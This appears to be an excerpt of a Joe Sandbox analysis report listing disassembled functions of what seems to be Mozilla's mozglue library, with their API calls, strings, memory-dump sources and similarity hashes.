Instruction ID: 017b9f6e5f6d7d4da451965dad101380145dfc595266ceb9b742900841d1a7bb
Opcode Fuzzy Hash: f23fbc9ab771a327c5fac7b45d23e0f47e6090a8f7e58f1bc96f692a0c7edd17
Instruction Fuzzy Hash: 6FF0B4B5A20200DFDA40AB65DC4AB9A7BBCEB8629DF120415FA0583F02DB755C068760

Function 6CEA0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CEA0DF8), ref: 6CEA0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CEA0EA1
__Init_thread_footer.LIBCMT ref: 6CEA0EB5
FreeLibrary.KERNEL32 ref: 6CEA0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CEA0E9B
kernel32.dll, xrefs: 6CEA0E7D

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 50a9fc6128264decb1f6cda40480b65ab1b6feb2d3b1c19f9f5be30f1fbfca4c
Instruction ID: 89fb5d28835c464b73c333c8d858a76fd7f8629e8c47278c64037dc58f7cfd17
Opcode Fuzzy Hash: 50a9fc6128264decb1f6cda40480b65ab1b6feb2d3b1c19f9f5be30f1fbfca4c
Instruction Fuzzy Hash: 5F014B74F20381CBDFC08FE8C956B4237B6E747318F22852AD90686F60D731A8069F12

Function 6CEDF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CEDF598), ref: 6CEDF621

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

GetCurrentThreadId.KERNEL32 ref: 6CEDF637
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8,?,?,00000000,?,6CEDF598), ref: 6CEDF645
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8,?,?,00000000,?,6CEDF598), ref: 6CEDF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CEDF62A

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: c21ebb7b4b3873f661118d91457c231f7472dfb06c65c9b808176799bda1121f
Instruction ID: 3aa116795f6863c27023b459529234c104760907a9c24a4a022dbb44e740e91b
Opcode Fuzzy Hash: c21ebb7b4b3873f661118d91457c231f7472dfb06c65c9b808176799bda1121f
Instruction Fuzzy Hash: C4F0E9B5A10200EFDB406B65CC4AB9A7BBCEB8629DF120415FA0583F02CF755C06C7B0

Function 6CED05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CECCFAE,?,?,?,6CE931A7), ref: 6CED05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CECCFAE,?,?,?,6CE931A7), ref: 6CED0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CE931A7), ref: 6CED061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CE931A7), ref: 6CED0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CED061B, 6CED0625
<jemalloc>, xrefs: 6CED05FA, 6CED060F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: f5c38d2932fc11c702c2ef43f46b83a1edd6aa452874d18c4d1f0e423860e4f1
Instruction ID: c43ee56eadc8e6594704fb84b50a41eb11118fcfde771aa84b8ce8edb3063f4a
Opcode Fuzzy Hash: f5c38d2932fc11c702c2ef43f46b83a1edd6aa452874d18c4d1f0e423860e4f1
Instruction Fuzzy Hash: 30E08CE2A1101037F5142256AC86EBB761CDBC6534F190039FD0D82301E94AAD1A61F7

Function 6CEA05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0630a489771b9e7d2bd19f96795a9da0ebc963b415441a7924508ca99645a11
Instruction ID: 6be38c9f1b14736bd9448cc39828a58b97a11652f2dca75dd76ddf60f6ba642f
Opcode Fuzzy Hash: e0630a489771b9e7d2bd19f96795a9da0ebc963b415441a7924508ca99645a11
Instruction Fuzzy Hash: 08A138B0A007458FDB14CF69C594B99FBF1BF89318F54866ED44A9BB00E730A956CF90

Function 6CEF14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEF14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEF14E2
GetCurrentThreadId.KERNEL32 ref: 6CEF1546
InitializeConditionVariable.KERNEL32(?), ref: 6CEF15BA
free.MOZGLUE(?), ref: 6CEF16B4

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 3b4e63c33ed6a22937fce0b7bdefb77a1d55d48a2857cb5c5536228057ebd805
Instruction ID: f9a38cd5a3bf6db1b6f484360b185d04ae7ae682c81a0506f55b8e9e8dc1aa11
Opcode Fuzzy Hash: 3b4e63c33ed6a22937fce0b7bdefb77a1d55d48a2857cb5c5536228057ebd805
Instruction Fuzzy Hash: AD6101B2A007449BDB12CF60C880BDEB7B1BF89308F55851CED9A57701DB35E94ACB92

Function 6CEE9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEE9FDB
free.MOZGLUE(?,?), ref: 6CEE9FF0
free.MOZGLUE(?,?), ref: 6CEEA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEEA0BE
free.MOZGLUE(?,?), ref: 6CEEA0D5
free.MOZGLUE(?,?), ref: 6CEEA0EB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: f58b7283075ccbac7c7ba23ca9e8a1dd3991742c38485827d4c67602ff176f75
Instruction ID: a9b0a1baaf0bce2e38bba47985ca6648746a4a0467c5f454835c63d62acd44c7
Opcode Fuzzy Hash: f58b7283075ccbac7c7ba23ca9e8a1dd3991742c38485827d4c67602ff176f75
Instruction Fuzzy Hash: 2161A2755097019FC712CF18C4805AAB7F5FF88368F64465DE8599B702E731E986CBC1

Function 6CEEDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEEDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CEED38A,?), ref: 6CEEDC6F
free.MOZGLUE(?,?,?,?,?,6CEED38A,?), ref: 6CEEDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CEED38A,?), ref: 6CEEDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CEED38A,?), ref: 6CEEDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CEED38A,?), ref: 6CEEDD4A

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f1ae67bb3642ac356e2f40e07b346369a813f9d610b3a85bdd195868e4339098
Instruction ID: 4f0cac43caad8d0eff3197683ecd008288c85d1026239ffa74aa6c2b08cc1d94
Opcode Fuzzy Hash: f1ae67bb3642ac356e2f40e07b346369a813f9d610b3a85bdd195868e4339098
Instruction Fuzzy Hash: AF4169B9A00216CFCB40CF99C880AAAB7F6FF8D348B254569D905ABB10D771FD00CB90

Function 6CED6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CECFA80: GetCurrentThreadId.KERNEL32 ref: 6CECFA8D
Part of subcall function 6CECFA80: AcquireSRWLockExclusive.KERNEL32(6CF1F448), ref: 6CECFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CED6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CED67C8

Part of subcall function 6CEE4290: memcpy.VCRUNTIME140(?,?,6CEF2003,6CEF0AD9,?,6CEF0AD9,00000000,?,6CEF0AD9,?,00000004,?,6CEF1A62,?,6CEF2003,?), ref: 6CEE42C4

Strings

data, xrefs: 6CED6593

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 29fe5f7545d48532a1c1f85ac154c91b2c0a466ee5f01c1d427fdaec2f9b4e81
Instruction ID: 7f8d2722ac4ae7ef8fb00c9a37b21a6c93e67a8f53e67e5e03a5148d91b6a9be
Opcode Fuzzy Hash: 29fe5f7545d48532a1c1f85ac154c91b2c0a466ee5f01c1d427fdaec2f9b4e81
Instruction Fuzzy Hash: 9FD1BD75A083408FD724CF64C851B9EB7F5AFD5308F218D2DE58987B91EB30A84ACB52

Function 6CECF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CECF480

Part of subcall function 6CE9F100: LoadLibraryW.KERNEL32(shell32,?,6CF0D020), ref: 6CE9F122
Part of subcall function 6CE9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CE9F132

CloseHandle.KERNEL32(00000000), ref: 6CECF555

Part of subcall function 6CEA14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CEA1248,6CEA1248,?), ref: 6CEA14C9
Part of subcall function 6CEA14B0: memcpy.VCRUNTIME140(?,6CEA1248,00000000,?,6CEA1248,?), ref: 6CEA14EF

Part of subcall function 6CE9EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CE9EEE3

CreateFileW.KERNEL32 ref: 6CECF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CECF523

Strings

\oleacc.dll, xrefs: 6CECF4CB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 263dbee96e74ba16332adc7eec91d4145f147c83bfa4f4ec6485fafb3ad3ba71
Instruction ID: 0c4d0d2fd56a55c429456df8b17f6ff058d4413c702f612da7efd811db4d73d4
Opcode Fuzzy Hash: 263dbee96e74ba16332adc7eec91d4145f147c83bfa4f4ec6485fafb3ad3ba71
Instruction Fuzzy Hash: 8441AE70B187509FE720DF68C984B9AB7F4BF85318F200A1CF6A487650EB34D949CB92

Function 6CEF74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CEF7526
__Init_thread_footer.LIBCMT ref: 6CEF7566
__Init_thread_footer.LIBCMT ref: 6CEF7597

Strings

UnmapViewOfFile2, xrefs: 6CEF7552
kernel32.dll, xrefs: 6CEF7557

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 7a682b8e4f67acf46b2d40ed8c9c1c3346c09e62130cffd18594eb7ea1f94581
Instruction ID: 32bb8c006c15a9b6da88a4ebf27c3741df85f3a4af3a851f83c7aa4faf4a35b9
Opcode Fuzzy Hash: 7a682b8e4f67acf46b2d40ed8c9c1c3346c09e62130cffd18594eb7ea1f94581
Instruction Fuzzy Hash: CE214331B04541ABCB95CFE8C815F893376EB87338F32052DE82587F80CB31A8038A96

Function 6CEFA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1F770,-00000001,?,6CF0E330,?,6CEBBDF7), ref: 6CEFA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CEBBDF7), ref: 6CEFA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CEBBDF7), ref: 6CEFA7E4
LeaveCriticalSection.KERNEL32(6CF1F770), ref: 6CEFA80A

Strings

accelerator.dll, xrefs: 6CEFA7BF

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ddf7a169ba6a7692a3c6ae746355c8c32bab161adfa62ba99d385597b2c3c168
Instruction ID: 601a6066b9231d19dd920af115e0a309db2dbb89c96b09cc1726467929c68ea1
Opcode Fuzzy Hash: ddf7a169ba6a7692a3c6ae746355c8c32bab161adfa62ba99d385597b2c3c168
Instruction Fuzzy Hash: 9201DFB0B203049FAF84CF55C885E517BB8FB8A324311806AE8098FB41DB719C00CBA0

Function 6CE9F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CE9EE51,?), ref: 6CE9F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CE9F0C2

Strings

ole32, xrefs: 6CE9F0AD
Could not find CoTaskMemFree, xrefs: 6CE9F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CE9F0DC

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4a080ecc33f02a07df484fb8b3b2fdcffb7b64278216e866a64cecc0886316b6
Instruction ID: bbb18fd79bfee66acae3bad892929409528b98ee5434ec88837a52615f059f22
Opcode Fuzzy Hash: 4a080ecc33f02a07df484fb8b3b2fdcffb7b64278216e866a64cecc0886316b6
Instruction Fuzzy Hash: B3E0D8B1B587019BAF845A62981AB2637BD5B2220D720C52DF401D1F00EA26D8108611

Function 6CED00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CEA7235), ref: 6CED00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CED00F7
FreeLibrary.KERNEL32(?,6CEA7235), ref: 6CED010E

Strings

wintrust.dll, xrefs: 6CED00D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CED00F1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 4adabc462b6f803a7b59b4542b1baceb918c5e0e259951efa9d52d8a09c2215b
Instruction ID: a29aafb683b7111c9d828956c55289914ab32014b0a389a4e2174a58d46e13ae
Opcode Fuzzy Hash: 4adabc462b6f803a7b59b4542b1baceb918c5e0e259951efa9d52d8a09c2215b
Instruction Fuzzy Hash: 72E01AB0A25305DBEFC09F29891B7613AF9B74331AF664419A90981F00D77194008B10

Function 6CED0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CEA7204), ref: 6CED0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CED00A7
FreeLibrary.KERNEL32(?,6CEA7204), ref: 6CED00BE

Strings

wintrust.dll, xrefs: 6CED0083
CryptCATAdminAcquireContext2, xrefs: 6CED00A1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: d09845875fe42ff4807e7cb229835d69f0762421d7c6cd94edff095e4f41669f
Instruction ID: 1ae8cc11338bc81071ca9198192849de93919848cae26595467dbd4069c9691c
Opcode Fuzzy Hash: d09845875fe42ff4807e7cb229835d69f0762421d7c6cd94edff095e4f41669f
Instruction Fuzzy Hash: 1EE01AB4A64700ABDFC06F26880A7413AF8A70B358F124919E914C2F10D775D4019F11

Function 6CEFC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CEFC0E9), ref: 6CEFC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CEFC437
FreeLibrary.KERNEL32(?,6CEFC0E9), ref: 6CEFC44C

Strings

ntdll.dll, xrefs: 6CEFC413
NtQueryVirtualMemory, xrefs: 6CEFC431

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: fbe9993aba7fabcc17153a512a23ed3b974fb3dc86b0f12d4a7e7d4926605e79
Instruction ID: ab5863d748e22f6bec1c830613bc22a03a0db3479ce7fb0a6ab4ad04f7ea6b45
Opcode Fuzzy Hash: fbe9993aba7fabcc17153a512a23ed3b974fb3dc86b0f12d4a7e7d4926605e79
Instruction Fuzzy Hash: 38E092B4B65301DBDBC0AB75891A7517AF8A706628F124A16AA0891F10EBB1C4128B50

Function 6CEF75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CEF748B,?), ref: 6CEF75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CEF75D7
FreeLibrary.KERNEL32(?,6CEF748B,?), ref: 6CEF75EC

Strings

ntdll.dll, xrefs: 6CEF75B3
RtlNtStatusToDosError, xrefs: 6CEF75D1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
